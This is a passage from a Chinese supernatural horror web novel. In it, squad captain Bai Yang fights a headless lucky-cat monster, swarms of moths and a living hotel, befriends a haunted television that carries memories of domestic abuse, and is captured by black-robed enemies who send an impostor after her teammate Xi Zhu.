门外许久没动静,既没有招财猫缓慢移动撞到墙上的响动,也没有镰刀拖行在地面的尖锐摩-擦声。
白央在原地等待着,如果触发这一系列攻击的因素是她自己的话,那么下一步的动作将尤为重要。
刚才门号变化以及招财猫的出现几乎就是在瞬间。
而在那之前,白央确定她是要出去,到一楼去找老板。
如果这是触发房间变化的条件的话,就值得再试一次。
白央将房门缓缓打开,这次,她没有选择背对屋内,而是选择正面后退。
随着她的半个身子出了房间,面前的一切开始缓慢凝固,各类物件像四周一样涂抹开来,变成了某种像素小方块。
——赫然成了电视上曾经出现过的那些影像。
这时候,数字6轻轻一旋,眼前的一切开始回归三维立体。
白央侧头一看。
——209。
门牌号果然变了。
白央靠在门框上,几乎是肉眼无法分辨的一秒间,高举镰刀猛挥而来的无头招财猫以飞速之姿冲到了白央面前!
二人间仅仅隔着半米之远!
剧烈的疼痛从腰部绽开,整个皮肉被刀刃割开深深一道,白央强忍刺痛,在半空硬生生拦下镰刃的持续刺入,在招财猫停顿的瞬间,她拔出利刃,一脚蹬开,将V7猎枪扛起抬高。
轰!
镰刀在半空瞬间格挡,子弹叮一声被弹飞。
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电视雪花声被迫停止,一枚子弹插-入屏幕,整个玻璃迸裂成无数碎片,电视漆黑,映出了白央的身影。
“这东西,不仅是活的,还有应变的智慧!”
招财猫率先攻击,双手执刀,改变半空挥舞截砍的姿势,这次它变成了直刺钩击!
弧刃之下,白央捂着伤口,推门而出。
209号屋子,被镰刀刺了个窟窿满布。
白央举起枪,平复着呼吸,透过门板上的无数裂缝儿,她死死盯着招财猫肥硕的身影。
砰!
子弹出鞘,雨点般袭向室内,瞬息之间,屋内就被炸了个粉碎,白央没有停手,强大的火力压制下,她将整个天花板都轰烂了。
不管是蛾子,还是虫卵,抑或是无头招财猫,她都会在这里解决掉它们!
无一例外。
**
旅馆外。
拐弯处的角落。
有人冷不丁地出现在了奚渚面前。
奚渚停下步子,盯着面前突然出现的白央,余光立刻扫视了一圈旅馆周围,“你怎么会在这里?”
白央身上挂彩,看起来像是经历了苦战,她手里拿着猎枪,对奚渚指了指旅馆内,“那只无头招财猫被解决了,对方还真是不好对付,幸亏有这把枪,才能将它一击致命。”
奚渚没有说话,盯着白央看了几秒,突然笑了一下,“不愧是队长,我就知道你一定能解决掉它,那东西还在我房间门口出现过,现在既然已经解决了,那么就等于少了一个麻烦。”
白央说:“确实,那招财猫太过诡异。”
“队长,那我们现在干什么去呢?在这种地方,还是两个人一起行动比较好。”奚渚望看了眼破窗的二楼,在身后缓缓掏出了匕首。
白央沉默半晌,“你说得对,我们确实应该结伴行动,这片迷雾看起来暂时无法散去,既然旅馆内我们已经调查的差不多了,下一步,不妨在旅馆外对这些迷雾进一步探索,没准儿就能找到什么线索你觉得呢?”
“我当然听你的,队长。既然旅馆内安全了,我们就结伴从外部开始将这一切都调查清楚。”奚渚笑了笑,她很赞同白央所说的,远离旅馆,在外面‘干活’。
白央脸上的表情不自觉地僵硬了一下,她点点头,右手费力地拿起猎枪,左手抹了把脸,弹了弹手上的粉尘,她率先迈步。两秒之后,她的身影就消失在了奚渚面前,无数雾漩重新聚集,将白央整个吞了进去。
浓雾中,白央沙哑的声音低沉响起,“奚渚,你不进来吗?我们的时间不多了。”
“我马上进去,队长。”奚渚拿出V7猎枪,她的嘴角已经没了任何笑意。
36.孵化幸福旅馆(五)
二楼楼道。
除去206号房和209号房,其他剩余的所有屋子都无法。
白央站在她房间门口,抵着门把手朝里猛推。
房门轻晃,不断刮擦着地面,即使用上力气,也只能推开一指缝儿的宽度,随着房门不断摇晃,白央察觉到这扇门似乎不是从内部被锁死,而是被某种东西给堵死了。
有东西正卡在门后。
余光中,暗色平稳,招财猫没有再出现。
“是放弃攻击了还是被迫中断了?”白央心里开始疑惑。
如果是前者的话,白央认为可能性不大,招财猫次次挥舞镰刀都是奔着一击致命去的,对方绝不可能轻易放弃,所以说一定是有某种东西将招财猫限制住了,导致它无法继续动手。
“是什么限制?”白央放弃推门,重新回到那两间亮着灯的房间门口。
招财猫肥胖的身体堵在床边,正在盯着电视的方向,即使它没有脑袋,白央也能察觉到那种恶意的视线,“为什么要那么恶意地盯着电视,难道电视也是它的敌人吗?”
白央回想着前两次战斗的经历,发生场所都处于屋内,一旦她有了想要出门的想法,空间就会直接颠倒错乱,将她置换到另一间招财猫所存在的屋子内。
“招财猫是否只会在房间范围内进行攻击?它没有脑袋更没有眼睛,即使是活的,又是如何判断他人的位置的?”白央满腹疑惑,脑袋顶上飞蛾缓缓飘落,她抬头看了眼天花板,只有零星几只飞蛾。
似乎是刚飞出来的。
它们依旧盯着白央。
“如果这些飞蛾才是招财猫的眼睛呢?”白央突然这样想,“眼睛并不会攻击,它们只会充当窥视别人的媒介,它们脆弱,它们聪明,如果与无数双眼睛所对视,那么这些飞蛾会不会齐刷刷紧闭。”
白央想象了一下那个场景。
一个普通人,站在房间会变幻的旅馆楼道内,脑袋顶上是无数双伪装成飞蛾的眼睛,无论你走到哪里,都有千万双眼珠子盯着你,而你却毫无察觉。
白央走到一间屋子门口,她抬起枪口,透过瞄准仪扫视着天花板。如果是奚渚的话,对方大概率会诡异地和这些东西打声和蔼可亲的招呼,没准儿还会在这里睡一觉。但白央不一样,如果让她选择选择如何解决感染物,那么只会有三个字——快、准、狠。
除此之外,什么东西都不会有。
想清一件事就要立刻去试验,如果选择错误,那么就重头再来。
在感染区内,无论多么诡异的事情发生都不必奇怪,这里是怪物盘踞的巢穴,想要杀死它们,就必须将思维搞到扭曲、搞到混乱、搞到和怪物一样思考。
一个呼吸之间,天花板被轰了个大洞,无数飞蛾被打成了粉末,粘黏的虫卵立刻破茧,新生的蛾体一个接一个钻出来,取代死亡的继续吊挂在屋顶,尾部吞吐着新的虫卵,为下一次死亡做准备。
白央停止了攻击,“要以最奇怪和最难以想象的角度去分析这些东西。”她盯着飞蛾,从刚才起,不论是破茧的,还是新出生的,它们的位置并没有任何变化。
整个屋顶被打成了镂空状态,如果这些飞蛾能思考,它们就不会选择在原地继续呆着,白央看着摔到她脚下的那几只飞蛾,“不像是新出生,倒像是反复重现。”
屋顶也是,正在以缓慢的速度修复,看起来整个画面越来越卡顿。
搞清楚飞蛾后,白央将注意力放到招财猫身上,还有一项最重要的事情,那就是为什么两间屋子可以颠倒置换?
白央走近它,随着几只飞蛾视线的移动,招财猫也开始缓缓转身,发硬发僵的身体咔吧咔吧响,每移动一步,就如散架一样。
屋内鳞粉弥漫,白央轻轻摩挲着手中的枪口,她可以将对方打成沫子,但比起这个,她更想从它身上调查出一些事情。
白央心中隐隐察觉,旅馆内似乎还有别的人存在,而这些人,比她和奚渚还要来的更早。
现在已经可以确定,飞蛾的确是在充当招财猫的眼睛,如此一来,就可以说明,飞蛾与招财猫是某种原住民一样的同伴,它们会互相合作,抵御外来的入侵者。
那电视呢?
白央的视线越过障碍,望向不知何时已经黑了屏的电视,它沉默地立在窗户下,屏幕上映出的是整间屋子的倒影,白央却莫名觉得它有点悲伤。
电视似乎在呼吸,且呼吸声越来越重,白央确定她听得很清楚。
招财猫突然停止移动,它似乎是被电视的呼吸吵得烦了,就像是做过无数遍一样,它的镰刀高高扬起,蛮力反手劈下,电视屏住了呼吸。
白央也屏住了呼吸。
越过生气的招财猫,越过武力的镰刀,越过一切堵在它身前,让它害怕的东西。
在角落的电视,被揍出一条深深的伤疤,里面一团团凌乱的血管裸-露而出,血管之上,裹着一层又一层碎布条、破床单、旧衣角。
它们每隔一小截,就被包裹在血管之上,有的地方靠上,是电视额头的位置,有的地方靠下,是电视嘴角的位置,有的地方靠左,是电视太阳穴的位置!
一团一团,一片一片,深红的血迹洇到布条上。白央突然想到了之前那个窗户上的东西,黏腻深红,久久不可消散。
破开的电视屏幕上,缓缓出现了一个像素笑脸,只不过因为被分成了两截,看起来实在是过于勉强。
它明明在笑,但为什么更像在哭。
它的呼吸很紧张,但是更害怕。
一个电视要怕什么?能怕什么?
除非它不是一个普通的电视。
呜呜呜呜....
呼吸越来越细,越来越清楚。
电流声变成了细弱的女声。
呜呜咽咽,丝丝缕缕。
它很紧张,但是更害怕。
她在怕什么?
她到底在怕什么?
被劈的鼻青脸肿的屏幕开始聚集影像,和白央之前看过的完全不同,地点转换,是之前那间窗户带血的卧室。
床还是那个床,但人却不一样了,对方环抱着双臂,紧张地坐着床尾的一角,半个身体被迫前倾,十分害怕的模样。
白央觉得这个女人有点眼熟。
高领上衣,将脖子捂得严严实实,低垂的盘发,方圆的脸型。
电视在愤怒,它正飞快地自动切换影像,一会儿女人捂脸痛哭,一会儿男人放下木棍,一会儿女人躲到角落,一会儿男人提刀下楼,一会儿女人包裹伤口,一会儿男人推门而入。<
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劣质蒙太奇,一幕一幕,卡顿的要死,上一张还没有被完全放映,下一张就被立刻紧随其后,上一张的女人还通红着一双眼,下一张就被拖到了门外,无限身影被重叠在一起,被打的狂叫,打人的狂笑,被打的站起身反抗,打人的蔑视一切,一刀劈下,正中头颅!
放映被迫结束,电视又挨了一刀!
几乎被从头砍断,越来越多的像电线一般的血管露出来,越来越多的包扎布条被甩出。
白央看得仔细,有一张类似手帕一样的东西,青色变成了暗红,角落处,绣着红荷的名字。
***
奚渚不紧不慢地跟在白央身后,“无头招财猫里面是什么东西?”
白央也时刻注意着奚渚的动静,她掂了掂猎枪,语气确凿:“什么都没有。”
“只是一个空壳子?”奚渚随口问道,移动到了白央的右后方。
“什么都没有。简直是太过奇怪,不该活着的东西都活着,不该死的东西怎么都找不着。”白央在前面缓慢移动,V7猎枪在她手上似乎变得不太合适了,“最难对付的就是那把镰刀,你能想象?二楼的门框都直接被那把镰刀掀翻了。”
“还有什么奇怪的地方?总该有的吧,队长,你在里面呆了那么长时间。”
听到此话的白央,竟开始认真地思考开来,她一边走一边挥舞开面前越聚越多的雾漩,“你这么一问,我倒是想起什么来了,除了那头无头招财猫外,似乎还有别的什么东西。”
“还有什么?”
“大概是那台电视吧,只会播放像素影像的电视,黑漆漆一片,走到哪儿跟到哪儿,就像一个牛皮糖,不管如何做都甩不掉,不过幸亏我有的是办法。”
“什么办法?”
“只要躲到杂货门后,躲到带锁的柜子里,躲到它完全看不见的地方就好,这些地方十分隐蔽,不仅有混淆视听的钥匙,还有规律摆放的杂货箱,就好像原主人故意设计成这样,想要躲什么人似的。”
“躲什么人?”
“我怎么可能会知道。”白央口气轻松地说。
奚渚跟在对方身后,渐渐的,白央奇怪的声音越来越远,她瞥向迷雾的另一侧,在那里,正有什么东西跟着她。
奚渚直接掉头,浓雾中,一个笨拙奇怪的轮廓缓缓出现。
是啊,如果招财猫都是活着的,那么这东西活着又有什么奇怪之处。
“你好,为什么跟着我。”奚渚看着被劈成两半的电视,血管外爆,诡异极了。
电视似乎很混沌,无数影像被极速掠过,但这种办法似乎无法将一切解释清楚,于是屏幕上,缓缓出现两个字:“抚摸。”
奚渚在原地想了想,她没什么犹豫地就把自己的头凑了过去。
电视正在抚摸她,很轻柔很暖和。
同时,一直没有反应的脑内波动开始缓慢出现。
屏幕继续变化:“观看。”
奚渚抬起头来,抱到了电视上,原来那些幻想不是错觉,奚渚让电视开始观看她。
“你是活的?”奚渚问道。
电视沉默半晌,缓慢的定格像素出现,白色笑脸从两截屏幕上慢慢出现。
——我是活的。
奚渚听到了。
37.孵化幸福旅馆(六)
旅馆二楼。
镰刀猛砍,天花板被震得狂颤,无数飞蛾砸落在地,纷纷扬扬雪落一般,摔出呛人的鳞粉团。
招财猫浑身嘎吱作响,瓷白的身体扭曲旋转,粗壮白筋暴起,脖子断面处,硬生生凑出一个空壳蛾脑袋,蛾子翕动正在里外乱窜,狰狞到了极致。
它脚下无规律地左右移动,碾碎了无数飞蛾的尸体,似乎是在适应新的脑子。
招财猫胡乱舞刀,铛一声!
镰刀被重重砸到墙上,无数蛾子被凌空拍死,死尸团在墙面上,糅成了一堆恶心的白浆。
砰!
砰!
几枚试探的子弹自屋内-射出。
子弹接连被镰刀精准拦下,白央护着身后一团乱麻的电视,在狭小屋内不断辗转。
镰刀横扫而过,刀刀致命,冲的是白央的脑袋。
只要慢了一秒,就会瞬间人头落地。
屋内俨然变成了狩猎场,而比这更难对付的是,一旦白央有奔向门口的动作,不论多么细微小心,整间屋子就会被瞬间置换,让白央产生强烈的深陷错觉。
这不是单纯的空间置换,在快速错乱的颠倒中,会使人产生一种狂乱的焦急感,一种“必须赶快出去”的想法会替代一切理性思考,渐渐充斥整个大脑。
越是这样想,就越意味着陷入了背后之人的阴谋。
余光中,只剩一个晃晃悠悠的招财猫,“如果说空间置换是招财猫的能力,那么对方没有理由在屋内分不清方向而乱转。”
“除非,这根本就不是招财猫的能力,而是另有他人。”白央一点一点推测着,“空间置换能力的主人不想现身,一直躲在暗处,如果对方能做到气息全部隐藏,那么一定比她们一行人还要来的更早。而且最重要的是,这些人非常熟悉整座旅馆的布局,包括感染物的能力与感染区的异常,明白哪些东西是活的,哪些东西能构成障碍,而且还知道如何利用招财猫来将白央困死在这里。”
“目的是什么呢?他们肯定知道,招财猫只是一时之计,如果仅仅只是为了拖延时间将自己困在这里,那么唯一的目的是否只能是?”
白央想了想,得出结论,“只能是奚渚。”
旅馆深处的未知地方还躲着一群人。
而且极大可能与悬车上那头智慧型感染物是一伙的。
这些人并没有放弃,而是选择隐匿行踪,继续追杀到这里。
而且他们非常清楚悬车上的同伴是怎么死的,这就意味着,这帮人绝不是独狼作战,而是一个有计划有谋略的智慧型感染物组织。
因此,到了旅馆之后,他们在得知奚渚和白央要前往旅馆之后,立刻转变了思路,抛弃直接硬碰硬对抗,而是选择利用错乱的电视影像将白央与奚渚故意分开,这样就做到了“分头”处理的情况。
如果这群人是一伙庞大的团队,那么她们二人所要单独面对的东西就绝没有那么简单。
敌人,是抱着完全杀死她们二人的心态潜藏在暗处的。
而理所当然的,白央认为她现在能猜到的情况也是这些人故意露出马脚,从而让她猜到的。
抛弃别的因素,只有一种可能,那就是他们不想让白央这么快赶到奚渚身边。
自爆身份,是为了牵制。
所以,当务之急并非是要铲除一切强行突破,而是要用尽手段将这些躲在阴沟里的老鼠引出来。
身份明确,目的明确,手段未知,理由未知。白央考虑过很多,比如对方为什么会盯上奚渚?又比如为什么只在感染区内动手?
悬车上的战斗,现在完全可以看作是一个开胃小菜,目的是为了让二人放松警惕,认为接下来不会再有敌人出现。
所以与之对应的,旅馆才是那盘真正的大菜。
白央绷紧了神经,盯着门口,气喘吁吁。
即使房门距离她仅有三步之遥,她现在也无法出去。
不远处,招财猫僵在原地,它已经有了充足的时间用来适应新的脑袋,模糊的眼鼻嘴形状慢慢出现,看起来仍然过分奇怪,一团团蛾子拼命振翅,形成一串控制线似的东西,钻到了招财猫体内。
立刻,身材硕大的招财猫宛如提线木偶,被轻巧地控制起来,整个身体自僵硬的瓷白质地开始缓慢融化,粘稠的白瓷开始一层层脱落,无数蛾子被浆体带下来,松松垮垮挂在招财猫身上,无数白浆拖泥带水,混杂着扑棱的蛾子蔓延到了白央脚下,脚尖挪动,呲啦一声,一面轻薄的浆皮被登时扯了下来。
大厦倒塌一般,整个招财猫像剥洋葱一样一层层,一点点被剥开,露出的缝隙中,蛾子牟足了劲儿往里钻!
一个瞬间,招财猫就被蚕食殆尽。
孵化。
无数飞蛾在孵化。
它们无孔不入,霸道地侵占着每一处缝隙,翅膀所能紧贴的表面都是栖息地,虫尾能够栖停的旮旯角都是产卵处。
不论是天花板,还是墙体表面,抑或是被拍碎的白浆处,在空荡荡的旅馆中,白央除了她自己的呼吸声,唯一可以清楚听到的就是这些飞蛾翅膀的扇动声音。
孵化的节奏在不断加快,快到仅仅只是接触空气的瞬间,无数幼虫就会破茧而出,只需一个眨眼的节奏,无数翅膀自半空闪现,密密麻麻,朝着白央袭来。
轰!
子弹出鞘,飞蛾直接被灼烧溶解。
“不仅是孵化速度,就连攻击性也变得更强了,难道是因为吃了招财猫所以变得有劲儿了。”
从基础战斗力来说,飞蛾除去外表瘆人外,并没有任何高超的本领,所以并不会对白央造成任何威胁。
但是,如果从别的角度来思考的话,这些飞蛾的攻击就看起来别有深意,它们每次的攻击都是朝着脑袋来的。
这些蛾子吃了招财猫还不够,还想要继续吃了白央。
究竟是为什么呢?蛾子的唯一目标似乎只是孵化,它们要孵化到何种程度才会停手?
沉闷的脚步声渐起,突然,被啃得不成模样的招财猫被无数飞蛾簇拥着朝门外跌跌撞撞走去。
白央身边的飞蛾渐渐消失,似乎是觉得吃掉白央太难,还不如在招财猫那里分一杯羹。
脚步声砰砰砰踏开,白央见状立刻跟在招财猫身后,如果能够趁此机会出去的话最好不过。
突然,她的袖子被什么东西扯了一下。
白央立刻转身,她已经猜到了是什么东西,二话没说就搬起身后的电视扛在了肩上。
此刻,电视内的一条条血管淌在一侧,几根细小孱弱的小触-须抽出来缓慢地摩挲着白央的衣袖,似乎是在表示感谢。
白央看了一眼,什么都没说。
屋子没有发生任何置换,看来招财猫变成这样,对那些人来说也一定是始料未及的状况。
白央将电视放在了远处的角落,确保它待会儿不会被攻击到。
二楼楼道内,只剩下两抹身影,一前一后,纷散的飞蛾与氤氲的鳞粉中,招财猫庞大的身躯停在了一间奇怪的屋子外。
白央有些疑惑,刚才这屋子是这个样子吗?现在整个墙体外凸,看起来像是被撑爆了一样。
“招财猫”双手肌肉虬结,一个蛮力之下,整个房门被硬生生拧碎。
膨胀的房门被掀开,一股恶臭味道直冲白央鼻腔。
飞蛾带着招财猫庞大的身躯前倾摇摆,狭小的屋门被挤压变形,招财猫的身体卡在门外进不去,无数蛾子从白央身后席卷而来,冲向黑漆漆的房间,整个二楼被狂蛾卷过,已经没有了任何落脚之处,巨大的冲力将白央砸倒在地,她从没有见过如此惊悚的景象。
所有虫翅上下扑闪,脑袋翕动,虫尾左右摇摆,飞蛾扑火似得冲向那间已经快要撑得爆炸的房间。
此刻,屋子就像一个巨大的胃袋,半明半暗间,倾颓的墙体变成了暗红的肉-壁,伴随着极速膨胀,肉-壁正在缓慢沉重地呼吸,喷洒出浓重的粗气,无数蛾子主动向它冲去,摇头乞尾恳求屋子吃掉它们,招财猫的半个身体仍然卡在门外,此刻房门紧缩,就像一只小嘴一样不断吮吸。
空荡荡的屋子内,突然发出了阵阵野兽的怪叫,白央立刻站起身,“如果说这间屋子内所有的东西都是活物的话,那么不就意味着这间旅馆也是活着的。”
脚下开始奇怪变形,原本还笔直的楼道瞬间变成了扭曲的肉肠小道,整个二楼完全腾空,站在白央的位置朝下看,能够看到整个旅馆的地下已经被掏空了几十米深,只要一个身形不稳,就会立刻跌入深渊。
“出去!必须立刻出去!”白央现在只有这一个想法。
她明白了为什么没有再次发生空间置换,一定是那些人知道接下来旅馆会发生什么,到时候无需动手,白央也会死在这里。
胃袋的酸臭越来越重,不知道这间屋子究竟是吃了多少东西,那些蛾子的作用就是将所有能吃的食物引到那间屋子里。
白央转身朝着还没有变成肉-壁的地面走去,此时她极为小心,因此脚下的路已经变成了窄窄的一条小道。
身后似乎有什么东西站起来了,而且正在以极快的速度接近白央。
余光中,那只招财猫仅剩半截身体,它恢复了旅馆守卫的“神智”,在轰隆隆的脚步声中,朝着唯一的敌人白央冲过来,哐!
笨重的身体直接踩空,伴随着巨大的回音,招财猫仅剩的半个身子砸穿了地底,裂成了无数碎片。
一个个碎片立在地上,它们盯着白央的一举一动,不管她移动到哪里,它们都紧紧跟着,无数碎片攀爬在打滑的肉-壁之上,因为无法快速接近白央而恼羞成怒。
一切都乱了套。
白央朝脚下一瞥,立刻回神。
起码现在,她抽不出精力来对抗那些碎片,如果整间旅馆都是活着的状态的话,开枪就意味着未知风险会大大提高。
楼下完全腾空,出口早已经淹没在肉-壁中,想要赶快出去,唯一的办法只能是从天花板上砸开一个大洞。
白央环视一圈,电视不知道去哪儿了,“是察觉到不对预先逃走了吗?”
白央专注在手上的动作,她看了眼远处还保留着一丝原状的墙壁,大致估算了一下距离,“可以过去。”
她双腿用力,脚下猛地一蹬,翻身跃到了墙上的断口处,一手持枪,一手借助着腰部的力量向上攀登,肉-壁的变化速度非常快,几秒间,白央脚下的墙壁就已经变形,她只能不断加快手上攀岩的速度,肩膀以最大角度翻转,五指以最大力气挂在墙上。
轰!
屋顶被白央炸开一个大洞,墙壁上,白央的身体挂在上面,形成了一个稳定的三角,就在她准备直接钻出去的时候,余光中,一个方块儿突然出现。
不远处,电视正躲在墙壁后。
它在抬头看向白央。
“它没走?”
白央攀登的动作迟疑了,而就在她犹豫的两秒间,她手边的整个墙体变成了滑-腻不堪的肉-壁,白央右手一滑,只能用双腿被迫倒挂在天花板的窟窿上。
轰!
她继续射穿一个大洞,让天花板没有任何愈合的可能。
“想活下去就拿那些血管缠在我身上。”白央对着电视大喊,这是它在以前绝不会想到的神奇场景,即使是机械狗,她也从来不会多说一句话,因为没有生命的东西本就不值得过多的分散注意力。
可是,角落的电视,像个小孩一样,颤-抖地躲在肉-壁墙后,它听到了白央的呼喊,笨拙的身体滑倒在地,使劲儿折腾才奋力起身。
电视脑内的血管开始膨胀变形,呼地抽出,缠到了白央的腰上,“我会带你出去。”白央说。
空中,无数蛾子凑到白央身边,她的皮肤之下,已经被飞蛾啃食出了无数红血点。
白央朝空中猛地开枪,无数飞蛾被强大的枪声和热度所吓退。
电视紧紧缠绕在白央身上,她吊起上半身,率先将手边的电视推了上去,血管互相配合,一个收紧,将白央从马上就愈合的天花板洞孔中抽了出来。
哐啷!
二人被甩了出去,摔倒在不远处。
旅馆屋顶,没有白央想象中的浓雾,此片地界,硬生生被空出来一片干净的区域。
白央没有任何休息的想法,她立刻起身,环视周围,除了活着的屋子,还有那些躲在暗处的敌人没有出现!
脚步轻柔,白央身后,立刻出现了一只微抬的枪口,距离十分近。
近到白央根本没有发现身后有人存在。
“逃出来了?干的不错啊。”一个慵懒的声音缓缓响起,十分漫不经心。
白央余光中,一袭黑袍正在飞舞,在不断塌陷和蠕动的屋顶之上,白央屏住了呼吸,她的身后,是一头力量强大的人形感染物。
***
“没解决掉吗?为什么还会有人跑出来?”慵懒声再次响起。
“招财猫出了差错,一直置换空间好像让它迷失了方向,蛾子趁机蚕食了招财猫,将它喂给了屋子,计划失败。”白央面前,突然出现了一抹灰影,整个灰影没有形状,漂浮在半空,影子中渐渐幻化出另一个黑袍人,“屋子孵化的时间提前了,那些蛾子不安分的很。”
白央垂着脑袋,分析着这几个人的对话,“蛾子会孵化出活着的旅馆,而这些黑袍人虽然知道这其中的规律,但是却无法控制孵化的速度和时间。”
枪口依然抵在白央身上,她只能一动不动地观察着所有信息。
后面一个,前面一个,而且前面的黑袍人会听从后面的黑袍人的命令。
那么大概率,前面这一个黑袍人就是空间置换能力的主人,而对方利用招财猫想要在旅馆孵化之前就杀死白央。
电视躲在白央身后,细小的血管正在止不住的颤-抖,它非常害怕,只能一个劲儿地蜷缩住血管。
“这东西都多少年没有出来了,扔回去,它不该出现在这里。”后面的黑袍人看了眼电视,不带任何感情地说。
灰影立刻闪现到电视身边,电视身体之下,登时出现了一个巨大三角形印记。
白央暗道不好,她手中的动作已经伸了出去,即使这样,白央也能趁机思考,她不知道自己这是怎么了,她甚至都没有考虑过利益的得失,几乎就是凭借想要救它的本能,一把将电视拽到了另一侧。
整个三角形深陷出巨大的黑洞,如果掉下去的话,电视就会被瞬间置换回旅馆之内。
两个黑袍人不禁一顿,他们的动作瞬间安静下来,整个屋顶的气氛变得暗流涌动。
“你是杀死24号的另一个人。”黑袍人十分确定地推测道。
白央想起了对方口中所说的24号,就是悬车上突袭她和奚渚的那头智慧型感染物。
“你能出来,我很意外,可以说是完全没想到。”黑袍人在原地左右踱步,“这间屋子并不是普通的感染区,你肯定想到了,最奇怪的就是,为什么会一直找不到真正的感染物在哪里?你也一定想到了。按照你们的逻辑来思考,一个感染物必须紧邻它所具现出的感染区,但是这头却不一样,这是一个实验品,一个可以从感染区内剥离自身而逃窜出去的感染物,我相信,你一定见过她了,在那辆悬车之上,跟24号配合的可谓是天衣无缝。”
白央没有说话,她不知道对方为什么会好心的解释,但是,如果黑袍人说的是真的,那么这头感染物在她和奚渚坐车开始就已经盯上了她们。
气息被掩藏,奚渚没有察觉出任何异常,而且还能泰然自若地继续接近她们。
唯一的人选,只能是那个老奶奶。
“锁定了吗?很聪明啊。但是那头东西也很聪明,在察觉到我们气息的一瞬间,就跑了,她未免将自己看的太过重要,一个普通的已经遭人遗忘的感染物,怎么会值得这么多人过来处理它呢?”
“你一定想到办法了,对吧。让这台活着的电视去接触奚渚,告诉她这里发生了什么?但是,你确定它找得到奚渚吗?”黑袍人娓娓道来,似乎现在的一切都掌握在她的手中。
白央盯着对方,对方猜的没错,但是,到了这个地步,电视还能够逃出去吗?
旅馆已经不是现在最重要的事情了,解决掉这些黑袍人才是重中之重。
“所以,你觉得我会放它走吗?”黑袍人从白央身后提起电视,朝空中一抛,拳头紧握之下,整个电视被炸成了碎片。
无数血管散落在地,在白央脚边抽-搐着,她睁大了眼睛,“你说这么多想干什么?不单单只是想拆了一台电视吧。”
“没有废话,我很喜欢。”黑袍人松开拳头,她从无数血管中走到白央身边,“我当然有很多想要问你的东西。”
白央身后,攥着电视仅剩的几根血管。
“你想问什么?”白央说。
“不如我们就简单地聊一聊三军,聊一聊猎人组,聊一聊你的小队,还有那些小队成员以及她们每个人的能力,你应该不会介意吧,白央队长。”黑袍人蹲在白央身前,语气冰冷。
白央冷下了脸,这些黑袍人,究竟是什么东西,能了解浸-透到如此之深。
黑袍人见白央没有交谈的欲-望,也不着急,反而是召唤来了拥有空间置换能力的黑袍人,“看清她的脸,去接近奚渚。”
黑袍人点点头,白央立刻感受了到那股灰雾笼罩到她全身。
黑袍缓缓消散,一张与白央一模一样的脸瞬间出现,仿佛是照镜子一样,黑袍人立刻凑了过来,观察着白央脸上的每一丝表情,在持续抽搐和反复调整中,就连嘴角的弧度,都变得和白央一模一样。
“怎么样?像吧!”另一个‘白央’说。
蹲在地上的黑袍人歪过脑袋,“不像,还差点儿伤口。”她手起刀落,‘白央’身上伤口外露,立刻被雕琢成了身经百战的模样,“记住,你的目的是困住奚渚,将她拖得越久越好,还有,一定少说话,她非常聪明。”
“放心,镜面人绝不会暴露!”‘白央’兴致冲冲地说。
真正的白央坐在原地,“空间置换带出的另一个能力就是镜面复制,对方想要用自己的脸去接近还在外面的奚渚,如果奚渚没有认出来怎么办?因为在方才,那个假货几乎和她一模一样,那不是简单的复制,而是完全的复刻。”
“很意外吗?”黑袍人盘腿坐在地上,一只手支着脸,掩藏在黑色帽兜之后的双眼紧紧盯着白央,“这下你有想交流的欲-望了吗?作为报酬,我现在不会杀你,如果你回答的不错,我或许也会回答你的问题。”
白央沉默不语,这身黑袍将对面之人遮挡得十分严密,即使距离如此之近,她也看不到袍内之人的任何模样。
而这种顶尖的遮挡技术,绝不会是下区存在的东西。
“你们是从上区来的?”白央缓缓开口,她现在只能寄托那些血管还活着,能够找到载体赶快找到奚渚,将这些东西传递给她。
而具体的办法,她相信电视一定会有。
“错误。”黑袍人伸出一根手指,“这样吧,我们先从简单的开始聊起。既然你不想透露你的同伴,那么我们就谈谈别的。白央队长,你为什么想救这台电视呢?你看到它,难不成是联想到了自身?那个被家暴的小时候的你......”
白央立刻绷紧了额角,她抬起头,目光透露出一股煞气。
而黑袍人浑身懒散,正在向白央示威。
***
零散的血管正在悄悄地逃窜溜走,无数碎块儿趁着无人注意,立刻顺着扭曲的旅馆外墙窜到了地面,它们像是有意识般,朝着一个方向猛地前进。
旅馆角落,枯黄的草垛子之下,无数台老旧型号的电视被扔在那里,仔细一看,唯一的细微区别处,大概只有新旧程度。
它们一个个躺在那里,棺材似的长眠。
血管从四处窜上去,随意找了一个可以活动的壳子。
电视重新活了过来,它从无数个一模一样的自己间猛地坐起身,余光中,黑压压一片,自这一切开始前,无数个它被旅馆孵化出来,无数个阶段的电视被扔在这里。
它远远望向旅馆方向,不管是无数个初来乍到的年轻的红荷,还是被迫局限在厨房的中年的红荷,都将被一个个重新孵化。
它认识那些黑袍人,很早以前,它就看过她们。
保存的影像记忆中,总有一个男人满脸痴狂地坐在一楼前台处,反复轻抚和擦拭招财猫,他的手上会带着明显的血迹,那些血迹被一层层涂抹到招财猫的脖子上,有如真正的爱人轻抚一般。
那是旅店的老板,是一个将钱视作一切的男人。
从这对年轻的情侣盘下这座旅馆开始,一切就变得不一样了。
没人会在意一台几乎和这间旧屋子融为一体的老物件,习惯了孤独的电视,往往会将情侣二人看作一张乏味的录像带。
女人大大咧咧但会慢慢变得沉默不语,直到一方厨房变成她藏身躲避的小天地。
男人胆小畏缩但会慢慢变得自大狂妄,好像端坐旅馆就可以将全世界踩在脚下。
它饶有兴致地观看着他们。
记忆中的影像被反复切换,旅馆开门不久后,几个陌生的电话频繁响起,随后便是浑身黑色,捂得严实,看不出任何身份与模样的黑袍人屡屡造访。
他们会径直进入,走到衰颓的老板面前,以时机错误而非能力不足将旅馆经营不善的问题悄悄掩盖,而以选错方向来告诫老板未来还有一笔大钱在等着他赚。
针管替代旅馆,成-瘾替代经营,旅店被迫关门,老板围追堵截,昔日的爱恋化作废纸,而红荷在一针针实验药剂下,变得不人不鬼。
招财猫也被冷落,甚至还摔碎了脑袋,老板漠视不管,只一心沉浸在下一针的到来。
他频繁地数着那笔巨款,当手中的钞票变得越来越少的时候,电视机灰暗的屏幕上,映出老板焦急的身影,他不断地反复地执拗地打着电话,恳求那些人继续送药!
送钱!
这样的日子过了不知道多久,旅馆内该卖的东西全卖了,而电视因为型号老旧逃过了“远走垃圾堆”的一劫,也正因为这样,它可以一直观察他们。
直到后来,老板因为天降横财而频繁外出,因为钱,他变成了流浪区内数一数二的“小人物”,一堆流浪者凑在一起,口袋空空,却天天幻想做一本万利的发财大梦。
电视很奇怪,明明它都能看出来的东西,偏偏老板看不出来。
